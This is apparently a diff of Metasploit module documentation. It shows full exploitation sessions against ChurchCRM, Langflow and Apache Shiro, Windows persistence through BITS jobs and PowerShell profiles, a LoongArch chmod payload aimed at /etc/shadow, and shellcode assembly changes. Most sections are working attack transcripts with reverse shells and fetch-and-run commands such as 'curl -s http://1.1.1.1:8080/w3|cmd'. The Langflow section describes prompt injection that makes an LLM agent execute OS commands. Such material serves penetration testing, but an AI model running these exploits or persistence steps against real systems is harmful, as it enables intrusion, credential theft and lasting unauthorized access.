SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes Username for the admin account
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.18.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
1 PHP (In-Memory)
View the full module info with the info, or info -d command.
msf exploit(multi/http/churchcrm_db_restore_rce) > check
[*] Found ChurchCRM version: 6.0.2
[*] 127.0.0.1:80 - The target appears to be vulnerable. Vulnerable version 6.0.2 detected via CRM-VERSION header.
msf exploit(multi/http/churchcrm_db_restore_rce) > run
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Getting the session cookie
[+] The session cookie has been received
[*] Uploading the file : .htaccess
[+] The file have been uploaded successfully
[*] Uploading the file : LQyZQTSxhC.php
[+] The file have been uploaded successfully
[*] Trying to execute the payload
[*] Sending stage (42137 bytes) to 172.18.0.2
[+] Deleted .htaccess
[+] Deleted LQyZQTSxhC.php
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:33138) at 2026-03-06 09:49:16 +0100
[+] Payload successfully executed
meterpreter > getpid
Current pid: 224
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : c03035cd436a
OS : Linux c03035cd436a 6.18.13-arch1-1 #1 SMP PREEMPT_DYNAMIC Wed, 25 Feb 2026 23:12:35 +0000 x86_64
Architecture : x64
System Language : C
Meterpreter : php/linux
meterpreter >
```
### PHP (Fetch) target : ChurchCRM 6.1.0 on Ubuntu 22.04 LTS (Docker Image)
```bash
msf > use exploit/multi/http/churchcrm_db_restore_rce
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_db_restore_rce) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/churchcrm_db_restore_rce) > set LHOST 172.18.0.1
LHOST => 172.18.0.1
msf exploit(multi/http/churchcrm_db_restore_rce) > set target 2
target => 2
msf exploit(multi/http/churchcrm_db_restore_rce) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/http/churchcrm_db_restore_rce) > set USERNAME admin
USERNAME => admin
msf exploit(multi/http/churchcrm_db_restore_rce) > set PASSWORD 'Password123!'
PASSWORD => Password123!
msf exploit(multi/http/churchcrm_db_restore_rce) > show options
Module options (exploit/multi/http/churchcrm_db_restore_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD Password123! yes Password for the admin account
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, http, socks5, socks5h
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SRVSSL false no Negotiate SSL/TLS for local server connections
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes Base path
URIPATH no The URI to use for this exploit (default is random)
USERNAME admin yes Username for the admin account
VHOST no HTTP server virtual host
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on
all addresses.
SRVPORT 8080 yes The local port to listen on.
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.18.0.1 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
2 PHP (fetch)
View the full module info with the info, or info -d command.
msf exploit(multi/http/churchcrm_db_restore_rce) > check
[*] Found ChurchCRM version: 6.1.0
[*] 127.0.0.1:80 - The target appears to be vulnerable. Vulnerable version 6.1.0 detected via CRM-VERSION header.
msf exploit(multi/http/churchcrm_db_restore_rce) > run
[*] Started reverse TCP handler on 172.18.0.1:4444
[*] Starting HTTP server to serve the payload...
[*] Using URL: http://172.18.0.1:8080/egTqoxbjVEOA0
[*] Getting the session cookie
[+] The session cookie has been received
[*] Uploading the file : .htaccess
[+] The file have been uploaded successfully
[*] Uploading the file : CVOdZQanyf.php
[+] The file have been uploaded successfully
[*] Trying to execute the payload
[*] Sending stage (42137 bytes) to 172.18.0.2
[+] Deleted .htaccess
[+] Deleted CVOdZQanyf.php
[*] Meterpreter session 1 opened (172.18.0.1:4444 -> 172.18.0.2:39974) at 2026-03-06 09:56:50 +0100
[+] Payload successfully executed
[*] Server stopped.
meterpreter > getpid
Current pid: 204
meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer : 92a096dddee2
OS : Linux 92a096dddee2 6.18.13-arch1-1 #1 SMP PREEMPT_DYNAMIC Wed, 25 Feb 2026 23:12:35 +0000 x86_64
Architecture : x64
System Language : C
Meterpreter : php/linux
meterpreter >
```
@@ -0,0 +1,186 @@
## Vulnerable Application
The CSV Agent node in Langflow hardcodes allow_dangerous_code=True,
which automatically exposes LangChains Python REPL tool (python_repl_ast).
As a result, an attacker can execute arbitrary Python and OS commands on the server via prompt injection,
leading to full Remote Code Execution (RCE).
The vulnerability affects:
* Langflow < 1.8.0
This module was successfully tested on:
* Langflow 1.7.3 installed with Docker
### Installation
1. `git clone https://github.com/langflow-ai/langflow.git`
2. `git checkout 1.7.3`
3. `cd langflow/docker_example`
4. `Edit docker-compose.yml`
```
services:
langflow:
- image: langflowai/langflow:latest # or another version tag on https://hub.docker.com/r/langflowai/langflow
- pull_policy: always # set to 'always' when using 'latest' image
+ # image: langflowai/langflow:latest # or another version tag on https://hub.docker.com/r/langflowai/langflow
+ image: langflowai/langflow:1.7.3 # or another version tag on https://hub.docker.com/r/langflowai/langflow
+ # pull_policy: always # set to 'always' when using 'latest' image
ports:
- "7860:7860"
depends_on:
@@ -11,7 +12,7 @@ services:
# This variable defines where the logs, file storage, monitor data and secret keys are stored.
- LANGFLOW_CONFIG_DIR=/app/langflow
volumes:
- - langflow-data:/app/langflow
+ - langflow-data:/app
postgres:
image: postgres:16
```
5. `docker compose up`
6. `On an attacker machine`
```
curl -fsSL https://ollama.com/install.sh | sh
ollama run llama3.1
```
## Verification Steps
1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/langflow_rce_cve_2026_27966`
4. Do: `run lhost=<lhost> rhost=<rhost> ollamaapiuri=<ollamaapiuri> apikey=<apikey> model=<model>`
5. You should get a meterpreter
## Options
### APIKEY (required)
Langflow API key to interact with Langflow.
### OLLAMAAPIURI (required)
Endpoint of the OLLAMA API controlled by an attacker.
### MODEL (required)
Valid ollama model name.
## Scenarios
### cmd/linux/http/x64/meterpreter_reverse_tcp
```
msf > use exploit/multi/http/langflow_rce_cve_2026_27966
[*] Using configured payload cmd/linux/http/x64/meterpreter_reverse_tcp
msf exploit(multi/http/langflow_rce_cve_2026_27966) > options
Module options (exploit/multi/http/langflow_rce_cve_2026_27966):
Name Current Setting Required Description
---- --------------- -------- -----------
APIKEY yes Langflow API key to interact with Langflow.
MODEL yes Valid ollama model name.
OLLAMAAPIURI yes Endpoint of the OLLAMA API controlled by an attacker.
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5h, sapni, socks4, socks5, http
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 7860 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/x64/meterpreter_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE true yes Attempt to delete the binary after execution
FETCH_FILELESS none yes Attempt to run payload without touching disk by using anonymous handles, requires Linux ≥3.17 (for Python variant also Python ≥3.8, tested shells are sh, bash, zsh) (Ac
cepted: none, python3.8+, shell-search, shell)
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
When FETCH_COMMAND is one of CURL,GET,WGET:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
When FETCH_FILELESS is none:
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_FILENAME yVhDYYwMmZm no Name to use on remote system when storing payload; cannot contain spaces or slashes
FETCH_WRITABLE_DIR ./ yes Remote writable dir to store payload; cannot contain spaces
Exploit target:
Id Name
-- ----
0 Linux Command
View the full module info with the info, or info -d command.
msf exploit(multi/http/langflow_rce_cve_2026_27966) > run rhost=192.168.56.16 lhost=192.168.56.1 ollamaapiuri=http://192.168.56.1:11434 apikey=<apikey> model=llama3.1:latest payl
oad=cmd/linux/http/x64/meterpreter_reverse_tcp target=Linux\ Command
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.7.3 detected and API key is valid. Which is vulnerable.
[*] Project: 367f399f-6f17-43a2-bea0-33183baae731
[*] Flow: 42098574-2343-4b8a-97fe-0e2800270087
[*] Job: 014b3154-e882-4649-9c16-5f25e4c358d9
[*] Waiting...
[*] Meterpreter session 1 opened (192.168.56.1:4444 -> 192.168.56.16:59440) at 2026-04-18 12:31:49 +0900
meterpreter > getuid
Server username: user
meterpreter > sysinfo
Computer : d513d5e46402
OS : Debian 13.3 (Linux 6.8.0-56-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
```
### python/meterpreter/reverse_tcp
```
msf exploit(multi/http/langflow_rce_cve_2026_27966) > run rhost=192.168.56.16 lhost=192.168.56.1 ollamaapiuri=http://192.168.56.1:11434 apikey=<apikey> model=llama3.1:latest payload=python/meterpreter/reverse_tcp target=Python\ payload
[*] Started reverse TCP handler on 192.168.56.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.7.3 detected and API key is valid. Which is vulnerable.
[*] Project: 146bfdff-95cc-4e43-b0f2-dbdaa6916401
[*] Flow: 497484a7-6f39-4418-8113-aba0c2f57a3b
[*] Job: 0e4282ad-bf9d-4079-891b-81a2ccb8dbe8
[*] Waiting...
[*] Sending stage (23404 bytes) to 192.168.56.16
[*] Meterpreter session 2 opened (192.168.56.1:4444 -> 192.168.56.16:47988) at 2026-04-18 12:48:07 +0900
meterpreter > getuid
Server username: user
meterpreter > sysinfo
Computer : d513d5e46402
OS : Linux 6.8.0-56-generic #58-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 14 15:33:28 UTC 2025
Architecture : x64
System Language : C
Meterpreter : python/linux
meterpreter >
```
@@ -7,8 +7,10 @@ unauthenticated user can submit a YSoSerial payload to the Apache Shiro web
server as the value to the `rememberMe` cookie. This will result in code
execution in the context of the web server.
The YSoSerial `CommonsCollections2` payload is known to work and is the one
leveraged by this module.
The YSoSerial `CommonsCollections2` payload is known to work and is the
default gadget chain used by this module. The gadget chain is configurable
via the `JAVA_GADGET_CHAIN` option; the selected chain must be available on
the target's classpath.
Note that other versions of Apache Shiro may also be exploitable if the
encryption key used by Shiro to encrypt `rememberMe` cookies is known.
@@ -29,9 +31,13 @@ You can use <https://github.com/Medicean/VulApps/tree/master/s/shiro/1>.
3. `run`
## Options
### ENC_KEY
The encryption key the target Apache Shiro server is using to encrypt its `rememberMe` cookies.
### JAVA_GADGET_CHAIN
The Java deserialization gadget chain to use. The chain must be available on the target's classpath.
## Scenarios
### Tested on GNU/Linux x86_64 using Shiro-1.2.4
@@ -43,15 +49,16 @@ msf exploit(multi/http/shiro_rememberme_v124_deserialize) > show options
Module options (exploit/multi/http/shiro_rememberme_v124_deserialize):
Name Current Setting Required Description
---- --------------- -------- -----------
ENC_KEY kPH+bIxk5D2deZiIxcaaaA== yes Shiro encryption key
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base directory path
VHOST no HTTP server virtual host
Name Current Setting Required Description
---- --------------- -------- -----------
ENC_KEY kPH+bIxk5D2deZiIxcaaaA== yes Shiro encryption key
JAVA_GADGET_CHAIN CommonsCollections2 yes The Java gadget chain to use for deserialization
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base directory path
VHOST no HTTP server virtual host
Payload options (cmd/unix/reverse_bash):
@@ -0,0 +1,165 @@
## Vulnerable Application
This module establishes persistence by exclusively through a BITS job that
downloads and executes a payload. Background Intelligent Transfer Service
(BITS) is a Windows service for transferring files in the background
using idle network bandwidth. BITS jobs are persistent and will resume
across reboots until completed or cancelled.
BITS does not include a timing mechanism for when jobs are run, so we control that
in how we respond to the HTTP requests from the BITS client. This avoids needing
to set up an external trigger to start the job like a scheduled task or similar.
Similarily, BITS jobs are somewhat clock agnostic, so while we can set some
time parameters, the aren't a guarantee of when the job will actually run.
Jobs that we've idled via HTTP server response will have a "CONNECTING" status.
BITS is fickle about the HTTP responses it expects, so we have to be precise in
how the server responds. For a HEAD request we need to send back a correct
Content-Length header matching the payload size, but with no body. For GET requests
we need to handle byte range requests properly (althought not always used),
sending back the appropriate
Content-Range headers. If we respond incorrectly BITS may error out or retry
in unexpected ways. However, we can trick BITS into not getting the payload until
we want by responding to the GET requests with no body (aka how we responded to
the HEAD requests) until our delay time has reached.
### Debugging
To list bits jobs: `bitsadmin /list`
To get more info on a bits job: `bitsadmin /info <guid> /verbose`
To cancel all bits job: `bitsadmin /reset`
## Verification Steps
1. Start msfconsole
2. Get a session on Windows
3. Do: `use exploit/windows/persistence/bits`
3. Do: `set session #`
4. Do: `set srvhost <ip>`
1. Do: `run`
2. You should get a shell eventually
## Options
### JOB_NAME
The name to use for the bits job provider. (Default: random)
### PAYLOAD_NAME
Name of payload file to write. Random string as default.
### DELAY
Delay in seconds before callback. Defaults to `3600`
### RETRY_DELAY
Delay in seconds between retries. Defaults to `600`
## Scenarios
Specific demo of using the module that might be useful in a real world scenario.
### Windows 10 1909 (10.0 Build 18363).
```
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload cmd/linux/http/x64/meterpreter/reverse_tcp
payload => cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
[*] Using configured payload cmd/linux/http/x64/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
fetch_command => CURL
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
fetch_pipe => true
resource (/root/.msf4/msfconsole.rc)> set lport 4450
lport => 4450
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
FETCH_URIPATH => w3
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
FETCH_FILENAME => mkaKJBzbDB
resource (/root/.msf4/msfconsole.rc)> to_handler
[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/KAdxHNQrWO8cy5I90gLkHg & start /B %TEMP%\mkaKJBzbDB.exe
[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /KAdxHNQrWO8cy5I90gLkHg
[*] Adding resource /w3
[*] Started reverse TCP handler on 1.1.1.1:4450
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) >
[*] Client 2.2.2.2 requested /KAdxHNQrWO8cy5I90gLkHg
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:49712) at 2026-01-01 19:33:30 -0500
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > getuid
Server username: WIN10PROLICENSE\windows
meterpreter > sysinfo
Computer : WIN10PROLICENSE
OS : Windows 10 1909 (10.0 Build 18363).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > background
[*] Backgrounding session 1...
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/bits
msf exploit(windows/persistence/bits) > set session 1
session => 1
msf exploit(windows/persistence/bits) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(windows/persistence/bits) > set srvhost 1.1.1.1
srvhost => 1.1.1.1
msf exploit(windows/persistence/bits) > set srvport 80
srvport => 80
msf exploit(windows/persistence/bits) > set delay 200
delay => 200
msf exploit(windows/persistence/bits) > set retry_delay 60
retry_delay => 60
msf exploit(windows/persistence/bits) > rexploit
[*] Reloading module...
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
msf exploit(windows/persistence/bits) >
[*] Started reverse TCP handler on 1.1.1.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Likely exploitable
[*] Using URL: http://1.1.1.1/VkVKYnWc
[+] Successfully created BITS job T9vesd8HA with ID Created job {E7E39BA4-D14E-4B8F-B0DF-06CCF233E28F}.
[*] Executing: bitsadmin /addfile "T9vesd8HA" "http://1.1.1.1:80/VkVKYnWc" "C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe"
Added http://1.1.1.1:80/VkVKYnWc -> C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe to job.
[*] Executing: bitsadmin /SetNotifyCmdLine "T9vesd8HA" "cmd.exe" "/c bitsadmin /complete \"T9vesd8HA\" && if exist \"C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe\" start /b \"\" \"C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe\"""
notification command line set to 'cmd.exe' '/c bitsadmin /complete "T9vesd8HA" && if exist "C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe" start /b "" "C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe"" '.
[*] Executing: bitsadmin /SetMinRetryDelay "T9vesd8HA" 60
Minimum retry delay set to 60.
[*] Executing: bitsadmin /setpriority "T9vesd8HA" high
Priority set to HIGH.
[*] Executing: bitsadmin /setnoprogresstimeout "T9vesd8HA" 10
No progress timeout set to 10.
[*] Executing: bitsadmin /resume "T9vesd8HA"
[*] HTTP Server: HEAD /VkVKYnWc requested by Microsoft BITS/7.8 on 2.2.2.2
[+] HTTP Server: HEAD request received, sending response
[*] HTTP Server: GET /VkVKYnWc requested by Microsoft BITS/7.8 on 2.2.2.2
[*] HTTP Server: Early BITS connection, waiting till 01/01/2026 19:51:26 (198s left), sending empty body back to force a retry
Job resumed.
[+] Persistence installed! Payload will be downloaded to C:\Users\windows\AppData\Local\Temp\QKozHRG1i.exe when the BITS job T9vesd8HA runs.
msf exploit(windows/persistence/bits) > [*] HTTP Server: GET /VkVKYnWc requested by Microsoft BITS/7.8 on 2.2.2.2
[*] HTTP Server: Sending full payload to BITS client
[*] HTTP Server: GET /VkVKYnWc requested by Microsoft BITS/7.8 on 2.2.2.2
[*] HTTP Server: Sending full payload to BITS client
[*] Sending stage (188998 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49744) at 2026-01-01 19:53:15 -0500
```
@@ -0,0 +1,129 @@
## Vulnerable Application
This module establishes persistence by modifying a PowerShell profile script, which is automatically
executed when PowerShell starts. The module supports multiple profile scopes (current user or all users)
and safely backs up any existing profile prior to modification, enabling clean removal by restoring the original file.
## Verification Steps
1. Start msfconsole
2. Get a shell on Windows
3. Do: `use exploit/windows/persistence/powershell_profile`
4. Do: `set payload [payload]`
5. Do: `set session #`
6. Do: `run`
7. You should get a shell when powershell is opened on the target machine.
## Options
### PROFILE
The powershell profile to target. Choices are `AUTO`, `ALLUSERSALLHOSTS`, `ALLUSERSCURRENTHOST`, `CURRENTUSERALLHOSTS`, `CURRENTUSERCURRENTHOST`.
Defaults to `AUTO`
### CREATE
If a profile file doesnt exist, create one. Defaults to `false`
### EXECUTIONPOLICY
Attempt to update execution policy to execute. Defaults to `true`
## Scenarios
### Windows 10 1909 (10.0 Build 18363)
Initial shell
```
[*] Processing /root/.msf4/msfconsole.rc for ERB directives.
resource (/root/.msf4/msfconsole.rc)> setg verbose true
verbose => true
resource (/root/.msf4/msfconsole.rc)> setg lhost 1.1.1.1
lhost => 1.1.1.1
resource (/root/.msf4/msfconsole.rc)> setg payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
[*] Using configured payload windows/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> use payload/cmd/windows/http/x64/meterpreter_reverse_tcp
[*] Using configured payload windows/meterpreter/reverse_tcp
resource (/root/.msf4/msfconsole.rc)> set fetch_command CURL
fetch_command => CURL
resource (/root/.msf4/msfconsole.rc)> set fetch_pipe true
fetch_pipe => true
resource (/root/.msf4/msfconsole.rc)> set lport 4450
lport => 4450
resource (/root/.msf4/msfconsole.rc)> set FETCH_URIPATH w3
FETCH_URIPATH => w3
resource (/root/.msf4/msfconsole.rc)> set FETCH_FILENAME mkaKJBzbDB
FETCH_FILENAME => mkaKJBzbDB
resource (/root/.msf4/msfconsole.rc)> to_handler
[*] Command served: curl -so %TEMP%\mkaKJBzbDB.exe http://1.1.1.1:8080/NB_U4Lr2Ty2xrjYqvzRVEg & start /B %TEMP%\mkaKJBzbDB.exe
[*] Command to run on remote host: curl -s http://1.1.1.1:8080/w3|cmd
[*] Payload Handler Started as Job 0
[*] Fetch handler listening on 1.1.1.1:8080
[*] HTTP server started
[*] Adding resource /NB_U4Lr2Ty2xrjYqvzRVEg
[*] Adding resource /w3
[*] Started reverse TCP handler on 1.1.1.1:4450
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) >
[*] Client 2.2.2.2 requested /w3
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
[*] Client 2.2.2.2 requested /NB_U4Lr2Ty2xrjYqvzRVEg
[*] Sending payload to 2.2.2.2 (curl/7.79.1)
[*] Meterpreter session 1 opened (1.1.1.1:4450 -> 2.2.2.2:55201) at 2026-02-04 17:06:23 -0500
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : WIN10PROLICENSE
OS : Windows 10 1909 (10.0 Build 18363).
Architecture : x64
System Language : en_US
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x64/windows
meterpreter > getuid
Server username: WIN10PROLICENSE\windows
meterpreter > background
[*] Backgrounding session 1...
```
Install Persistence
```
msf payload(cmd/windows/http/x64/meterpreter_reverse_tcp) > use exploit/windows/persistence/powershell_profile
[*] Using configured payload windows/meterpreter/reverse_tcp
msf exploit(windows/persistence/powershell_profile) > set create true
create => true
msf exploit(windows/persistence/powershell_profile) > set EXECUTIONPOLICY true
EXECUTIONPOLICY => true
msf exploit(windows/persistence/powershell_profile) > set session 1
session => 1
msf exploit(windows/persistence/powershell_profile) > rexploit
[*] Reloading module...
[*] Exploit running as background job 2.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 1.1.1.1:4444
msf exploit(windows/persistence/powershell_profile) > [*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Powershell execution policy for CurrentUser (Undefined), will attempt to override
[*] Updating Powershell execution policy for CurrentUser to RemoteSigned
[*] C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1 does not exist, creating it...
[-] Failed to create profile file at C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1
[*] C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1 does not exist, creating it...
[-] Failed to create profile file at C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1
[*] C:\Users\windows\Documents\WindowsPowerShell\profile.ps1 does not exist, creating it...
[*] Powershell command length: 4193
[*] Appending payload to C:\Users\windows\Documents\WindowsPowerShell\profile.ps1
[*] Meterpreter-compatible Cleanup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20260204.1237/WIN10PROLICENSE_20260204.1237.rc
```
Start powershell on the target computer
```
[*] Sending stage (190534 bytes) to 2.2.2.2
[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:55207) at 2026-02-04 17:13:02 -0500
```
@@ -0,0 +1,69 @@
## Vulnerable Application
This payload targets Linux systems running on the LoongArch64 architecture. It uses the
`fchmodat` syscall (syscall number 53) to change the permissions of a specified file, then
exits cleanly via the `exit` syscall (syscall number 93).
The payload is a 48-byte position-independent shellcode stub. It is suitable for use in
exploits targeting LoongArch64 Linux systems where arbitrary code execution has been achieved.
## Verification Steps
1. Generate the payload as an ELF executable:
```
./msfvenom -p linux/loongarch64/chmod FILE=/tmp/testfile MODE=0777 -f elf -o chmod.elf
chmod +x chmod.elf
```
2. Run it under QEMU user-mode emulation:
```
qemu-loongarch64 -strace ./chmod.elf
```
3. Confirm the `fchmodat` syscall was made and returned 0:
```
fchmodat(AT_FDCWD,"/tmp/testfile",0777,0) = 0
exit(0)
```
4. Verify the file permissions changed:
```
ls -la /tmp/testfile
```
## Options
### FILE
The full path of the file to chmod on the target system. Defaults to `/etc/shadow`.
### MODE
The desired file permissions in octal notation (e.g. `0777`, `0666`, `0644`). Defaults to `0666`.
Must not exceed `0xFFF` (octal `07777`).
## Scenarios
### LoongArch64 Linux — making /etc/shadow world-readable
This scenario demonstrates using the payload to make `/etc/shadow` readable after gaining
code execution on a LoongArch64 Linux target.
#### Version and OS: LoongArch64 Linux (tested with qemu-loongarch64)
Generate the payload:
```
msf6 > use payload/linux/loongarch64/chmod
msf6 payload(linux/loongarch64/chmod) > set FILE /etc/shadow
FILE => /etc/shadow
msf6 payload(linux/loongarch64/chmod) > set MODE 0644
MODE => 0644
msf6 payload(linux/loongarch64/chmod) > generate -f elf -o /tmp/chmod.elf
[*] Writing 168 bytes to /tmp/chmod.elf...
```
Run on target (or via QEMU for testing):
```
$ qemu-loongarch64 -strace /tmp/chmod.elf
fchmodat(AT_FDCWD,"/etc/shadow",0644,0) = 0
exit(0)
```
@@ -30,8 +30,8 @@ api_call:
mov rdx, [rdx+0x20] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov rsi, [rdx+0x50] ; Get pointer to modules name (unicode string)
movzx rcx, word [rdx+0x4a] ; Set rcx to the length we want to check
xor r9, r9 ; Clear r9 which will store the hash of the module name
movzx rcx, word [rdx+0x48] ; Set rcx to the length we want to check
mov r9d, 0 ; Set r9 to the IV of the hashed module name
loop_modname: ;
xor rax, rax ; Clear rax
lodsb ; Read in the next byte of the name
@@ -68,7 +68,7 @@ get_next_func: ;
dec rcx ; Decrement the function name counter
mov esi, dword [r8+rcx*0x4]; Get rva of next module name
add rsi, rdx ; Add the modules base address
xor r9, r9 ; Clear r9 which will store the hash of the function name
mov r9d, [rsp+0x8] ; Initialize the current function hash to the module hash
; And compare it to the one we want
loop_funcname: ;
xor rax, rax ; Clear rax
@@ -77,7 +77,6 @@ loop_funcname: ;
add r9d, eax ; Add the next byte of the name
cmp al, ah ; Compare AL (the next byte from the name) to AH (null)
jne loop_funcname ; If we have not reached the null terminator, continue
add r9, [rsp+0x8] ; Add the current module hash to the function hash
cmp r9d, r10d ; Compare the hash to the one we are searchnig for
jnz get_next_func ; Go compute the next function hash if we have not found it
; If found, fix up stack, call the function and then value else compute the next one...
@@ -2,7 +2,7 @@
; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
; Compatible: NT4 and newer
; Architecture: x86
; Size: 140 bytes
; Size: 141 bytes
;-----------------------------------------------------------------------------;
[BITS 32]
@@ -23,8 +23,8 @@ api_call:
mov edx, [edx+0x14] ; Get the first module from the InMemoryOrder module list
next_mod: ;
mov esi, [edx+0x28] ; Get pointer to modules name (unicode string)
movzx ecx, word [edx+0x26] ; Set ECX to the length we want to check
xor edi, edi ; Clear EDI which will store the hash of the module name
movzx ecx, word [edx+0x24] ; Set ECX to the length we want to check
mov edi, 0 ; Set EDI to the IV of the hashed module name
loop_modname: ;
xor eax, eax ; Clear EAX
lodsb ; Read in the next byte of the name
@@ -58,7 +58,7 @@ get_next_func: ;
dec ecx ; Decrement the function name counter
mov esi, [ebx+ecx*4] ; Get rva of next module name
add esi, edx ; Add the modules base address
xor edi, edi ; Clear EDI which will store the hash of the function name
mov edi, [ebp-8] ; Initialize the current function hash to the module hash
; And compare it to the one we want
